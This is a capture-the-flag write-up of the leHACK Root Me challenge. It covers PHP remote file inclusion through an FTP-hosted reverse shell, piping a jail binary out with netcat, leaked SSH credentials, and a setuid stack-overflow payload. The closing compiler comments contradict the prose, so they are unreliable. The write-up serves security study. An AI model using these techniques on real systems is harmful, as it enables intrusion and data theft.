Overview

leHACK is a large security conference hold every year in Paris, France. Sadly, I could not attend this year but I took a look at the challenge proposed by the Root Me team during the conference.

The challenge was available at https://challenge-lehack.root-me.org/ and consists of three successive steps:

  • Step 1: LFI/RFI to RCE in a PHP web application.
  • Step 2: Escape from a Landlock Rust jail.
  • Step 3: Stack-based buffer overflow exploitation.

Thanks to Worty, exti0p and Ruulian for building the challenge.

Step 1 - PHP web application

The first step is a “File Viewer” PHP web application with a Local File Inclusion feature. Entering a filename field like /etc/passwd in the input includes the file content in the page.

PHP web application

We also have access to the PHP source code of the page. This is the important code snippet:

if (isset($_GET["source"])) {
    $source = $_GET["source"];
    if (file_exists($source)) {
        include($source);
    } else {
        echo "<p class='error'>File not found.</p>";
    }
}

First we focus on the LFI. But the website does not contain any upload form, therefore we can’t simply put a PHP shell on the machine and include it. We can find some information about the system by leaking files and try some old LFI to RCE techniques but nothing seems to work at first glance.

The other idea is to try to exploit a Remote File Inclusion vulnerability. If the PHP server is configured with allow_url_include = On, we could include a PHP file fetched from the Internet instead. In this challenge, we will find that this feature is indeed enabled.

Now the file_exists check before the include call is the annoying bit, because it does not work with all PHP wrappers. In particular, the http(s):// wrappers are not compatible with this function. Fortunately, the PHP documentation brings some hope:

Tip - As of PHP 5.0.0, this function can also be used with some URL wrappers. Refer to Supported Protocols and Wrappers to determine which wrappers support stat() family of functionality.

After some more reading, we find that the ftp:// wrapper is compatible with file_exists and thus we can use it to include a remote file. All that’s left is to expose a FTP server to the Internet, containing a webshell / reverse shell and include it. For this, I used pyftplib and the old-school pentestmonkey PHP reverse shell.

# Start FTP server on port 9000/9001
$ python3 -m pyftpdlib -p 9000 -r 9001-9001
[I 2024-07-10 01:03:52] concurrency model: async
[I 2024-07-10 01:03:52] masquerade (NAT) address: None
[I 2024-07-10 01:03:52] passive ports: 9001->9001
[I 2024-07-10 01:03:52] >>> starting FTP server on 0.0.0.0:9000, pid=14663 <<<
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[] FTP session opened (connect)
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] USER 'anonymous' logged in.
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] CWD /path/to/ftp/shell.php 550 'Not a directory.'
[I 2024-07-10 01:03:57] 62.210.136.74:45876-[anonymous] FTP session closed (disconnect).
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[] FTP session opened (connect)
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] USER 'anonymous' logged in.
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] RETR /path/to/ftp/shell.php completed=1 bytes=2586 seconds=0.0
[I 2024-07-10 01:03:57] 62.210.136.74:45878-[anonymous] FTP session closed (disconnect).

# Trigger FTP Remote File Inclusion...
$ curl 'https://challenge-lehack.root-me.org/index.php?source=ftp://[FTP_IP]:9000/shell.php'

# ...while listening on another port
$ nc -lvnp 9002
Connection from 62.210.136.74:41042
Linux cd4568dbece0 6.1.0-22-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.94-1 (2024-06-21) x86_64 GNU/Linux
 23:03:57 up 5 days,  8:44,  0 user,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=33(www-data) gid=33(www-data) groups=33(www-data)
$ cd /var/www/html
$ cat e3db752569b9c8e111c091c8ef730d30ab1bd399c44ae74febe6059867778b7f.txt
Wow, you managed to execute commands. Well done, you passed the 1st step! 
Hoping that you already have a shell, you can access a better place but jailed using: nc jail 4444

Step 2 - Rust Landlock jail

From the webserver hosting the PHP application, we can now connect to a jail on port 4444. We are very restricted as we can’t even list the root folder. The sandboxer file used to make the jail is given. We can exfiltrate the file using netcat.

$ nc jail 4444
[+] Received connection
bash: cannot set terminal process group (1): Inappropriate ioctl for device
bash: no job control in this shell
bash: /home/sandboxer/.bashrc: Permission denied

sandboxer@504ad46aec11:/tmp$ ls -l
ls -l
total 3908
-rw-r--r-- 1 root root          105 Jul  4 10:26 note.txt
-rwxr-xr-x 1 root sandboxer 3994680 Jul  7 21:21 sandboxer

sandboxer@504ad46aec11:/tmp$ cat note.txt
You're here, already?
Time for the 2nd step!
This jail has hidden secrets, catch them all, if you can...

sandboxer@504ad46aec11:/tmp$ ls /
ls: cannot open directory '/': Permission denied

sandboxer@504ad46aec11:/tmp$ ps aux
bash: ps: command not found

sandboxer@504ad46aec11:/tmp$ cat sandboxer | nc [IP] [PORT]

The sandboxer file is a Rust compiled binary. We don’t really have to reverse it in-depth because executing it already gives a lot of information. Still, some quick statical analysis shows that it uses the Landlock Linux security feature to restrict rights such as file system access and network requests.

$ file sandboxer 
sandboxer: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 4.4.0, BuildID[xxHash]=c734507562bd7a20, with debug_info, not stripped

$ ./sandboxer 
usage: LL_FS_RO="..." LL_FS_RW="..." ./sandboxer_backup <cmd> [args]...

Launch a command in a restricted environment.

Environment variables containing paths and ports, each separated by a colon:
* LL_FS_RO: list of paths allowed to be used in a read-only way.
* LL_FS_RW: list of paths allowed to be used in a read-write way.
Environment variables containing ports are optional and could be skipped.
* LL_TCP_BIND: list of ports allowed to bind (server).
* LL_TCP_CONNECT: list of ports allowed to connect (client).

example:
LL_FS_RO="/bin:/lib:/usr:/proc:/etc:/dev/urandom" LL_FS_RW="/dev/null:/dev/full:/dev/zero:/dev/pts:/tmp" LL_TCP_BIND="9418" LL_TCP_CONNECT="80:443" ./sandboxer_backup bash -i

Error: Missing command

The jail parameters seem to be given as environment variables. Fortunately, our shell inherited some of the jail variables which we can list with env. Otherwise, we might have found them by reading into the /proc filesystem that exposes other processes environment variables, or try to bruteforce the LL_TCP_BIND port range.

sandboxer@504ad46aec11:/tmp$ env
LL_TCP_CONNECT=80:443
LL_TCP_BIND=1789
[...]

We are allowed to connect to port 1789, where we find the jail secret that was hidden.

$ nc localhost 1789
nc localhost 1789
Hey, impressive. You found my jail's secret!
2nd step looks like it was cake walk for you...

You can use the following credentials to login to the next level:
ssh://pwnme:ca1qdqRd2SRijtKj19wm@challenge-lehack.root-me.org:54322

Good luck!

Step 3 - Buffer overflow exploitation

In the previous step, we gained SSH credentials to connect to a server with the pwnme user.

The /challenge/logger executable file is owned by pwned and has the setuid bit set, which means it is executed with the pwned user permissions. If we can exploit this program successfully, we will gain the permissions to read /challenge/flag.txt, which is readable by the group pwned.

$ id
uid=1001(pwned) gid=1000(pwnme) groups=1000(pwnme)

$ ls -l /challenge
total 40
-rw-r--r-- 1 root  root    145 Jul  5 06:17 Makefile
-r--r----- 1 root  pwned    68 Jul  4 20:50 flag.txt
-r-sr-x--- 1 pwned pwnme 16600 Jul  8 01:03 logger
-r--r----- 1 root  pwned  1210 Jul  8 01:02 logger.c
-r--r----- 1 root  pwnme    24 Jul  4 20:50 note.txt

$ cat Makefile
CC=gcc
FLAGS=-lcrypto -fno-stack-protector
TARGET=logger

$(TARGET).o: $(TARGET).c
        $(CC) $(TARGET).c -o $(TARGET) $(FLAGS)

clean:
        rm $(TARGET)

$ /challenge/logger
usage: /challenge/logger <string>

The executable is a regular x86-64 ELF binary file. Here is the source code (note that the source code is not available before finishing the challenge).

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <time.h>
#include <openssl/sha.h>

void hello(){
    setreuid(1001, 1001);
    execl("/bin/sh", "/bin/sh", "-p", NULL);
}

char random_byte(){
    return (char)(90 + (rand() % 17));
}

int authent(char *str){
    char h[32];
    char *good_hash = "\x35\xed\xca\x5a\xd3\xe1\x42\xfb\x01\x1d\xef\x74\xe2\x0c\xf9\x3c\x65\x0f\x3c\xc6\xf3\x12\x7b\xec\xc0\x6d\x19\x10\x66\x8c\xff\x6b";
    SHA256(str, strlen(str), h);
    return !memcmp(good_hash, h, 32);
}

int main(int argc, char **argv){
    char log_message[0x40];
    long is_auth = 0;
    if(argc != 2){
        sprintf(log_message, "usage: %s <string>", argv[0]);
    }
    else{
        if(authent(argv[1])){
            srand(time(NULL));
            snprintf(log_message, 0x100, "[LOG] : \x1b[%dm%s\x1b[0m", random_byte(), argv[1]);
            is_auth = 1;
        }
        else{
            snprintf(log_message, 0x100, "'%s' is a wrong password", argv[1]);
        }
    }
    printf("%s\n", log_message);
    if(is_auth == 0xdeadcafecafebabe){
        hello();
    }
    return 0;
}

All the authent part with the SHA256 verification and random byte is a red herring. The vulnerability is located in the second else block. The function snprintf is used to format a message up to 0x100 bytes long in the log_message buffer, which can only hold 0x40 bytes.

Thus, by providing a too long password, we are able to override the is_auth variable on the stack and pop a shell as pwned user.

$ ./logger $(/usr/bin/echo -n -e 'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX\xbe\xba\xfe\xca\xfe\xca\xad\xde')
'XXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXXX�����ʭ�' is a wrong password

$ id
uid=1001(pwned) gid=1000(pwnme) groups=1000(pwnme)

$ cat flag.txt
cat: flag.txt: Permission denied

$ ls -l flag.txt
-r--r----- 1 root pwned 68 Jul  4 20:50 flag.txt

Oops, we have a shell as the pwned user but still with the pwnme group (because of the ownership configuration on the executable). And the flag file can only be read by the pwned group… Running /bin/bash does not seem to change our permissions, which means we can’t read the flag :(

Or can we? One last trick can be used to refresh our group so that it matches the pwned user groups: simply execute the newgrp command.

NAME
       newgrp - log in to a new group

SYNOPSIS
       newgrp [group]

DESCRIPTION
       newgrp changes the group identification of its caller, analogously to login(1). The same person remains logged in, and the current directory is unchanged, but calculations of access permissions to files are performed with
       respect to the new group ID.

       If no group is specified, the GID is changed to the login GID.

This time we can read the flag and complete the challenge.

$ newgrp
$ id
uid=1001(pwned) gid=1001(pwned) groups=1001(pwned),1000(pwnme)
$ cat flag.txt
RM{eeee479ed93ad7f30e53bab0f0d8ee9345d82595893bc58f487852ada119472a}

Trivia - Compiler buffer overflow protection

Now we may ask, could the compiler have prevented successful exploitation of the step 3 vulnerability? Yes, it could have.

If you read the Makefile used to compile the logger program, you may have noticed the -fno-stack-protector compilation flag used. This flag is usually used in CTF to ask GCC to NOT add a stack canary check. This enables the possibilities of redirecting program execution / return oriented programming. But in this challenge, we didn’t need any of that.

But stack protection is more that just a canary. Here, -fno-stack-protector was added to prevent GCC from reordering the local variables on the stack. Without this flag, GCC would have prevented exploitation of the vulnerability by putting the log_message buffer at the end of the stack frame, making the overriding of is_auth impossible with a stack buffer overflow.

// Compilation WITHOUT -fno-stack-protector
// is_auth is placed BEFORE log_message
// is_auth overriding possible using buffer overflow
pwndbg> p &is_auth
$2 = (long *) 0x7fffffffce08
pwndbg> p &log_message 
$1 = (char (*)[64]) 0x7fffffffce10

// Compilation WITH -fno-stack-protector
// is_auth is placed AFTER log_message
// is_auth overriding impossible using buffer overflow
pwndbg> p &is_auth
$6 = (long *) 0x7fffffffce58
pwndbg> p &log_message 
$5 = (char (*)[64]) 0x7fffffffce10